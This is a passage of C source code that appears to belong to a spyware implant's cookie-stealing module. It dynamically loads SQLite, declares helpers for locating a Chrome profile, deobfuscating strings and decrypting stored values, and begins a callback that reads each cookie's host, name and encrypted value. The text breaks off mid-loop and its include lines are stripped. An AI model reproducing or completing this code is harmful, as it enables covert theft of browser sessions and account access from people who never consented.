#include #define _CRT_SECURE_NO_WARNINGS 1 #include #include "..\\common.h" #include "CookieHandler.h" // SQLITE Library functions typedef int (*sqlite3_open)(const char *, void **); typedef int (*sqlite3_close)(void *); typedef int (*sqlite3_exec)(void *, const char *, int (*callback)(void*,int,char**,char**), void *, char **); static sqlite3_open social_SQLITE_open = NULL; static sqlite3_close social_SQLITE_close = NULL; static sqlite3_exec social_SQLITE_exec = NULL; static HMODULE libsqlsc; //-------------------- extern int DirectoryExists(WCHAR *path); extern char *HM_CompletePath(char *file_name, char *buffer); extern char *GetDosAsciiName(WCHAR *orig_path); extern char *DeobStringA(char *string); extern WCHAR *GetCHProfilePath(); extern int DecryptPass(CHAR *cryptData, WCHAR *clearData, UINT clearSize); int static InitSocialLibs() { char buffer[MAX_PATH]; if (!(libsqlsc = LoadLibrary(HM_CompletePath("sqlite.dll", buffer)))) return 0; // sqlite functions social_SQLITE_open = (sqlite3_open) GetProcAddress(libsqlsc, "sqlite3_open"); social_SQLITE_close = (sqlite3_close) GetProcAddress(libsqlsc, "sqlite3_close"); social_SQLITE_exec = (sqlite3_exec) GetProcAddress(libsqlsc, "sqlite3_exec"); if (!social_SQLITE_open || !social_SQLITE_close || !social_SQLITE_exec) { FreeLibrary(libsqlsc); return 0; } return 1; } void static UnInitSocialLibs() { FreeLibrary(libsqlsc); } int static parse_sqlite_cookies(void *NotUsed, int argc, char **argv, char **azColName) { char *host = NULL; char *name = NULL; char *value = NULL; WCHAR enc_value[2048]; char enc_value_a[2048]; ZeroMemory(enc_value, sizeof(enc_value)); ZeroMemory(enc_value_a, sizeof(enc_value_a)); for(int i=0; i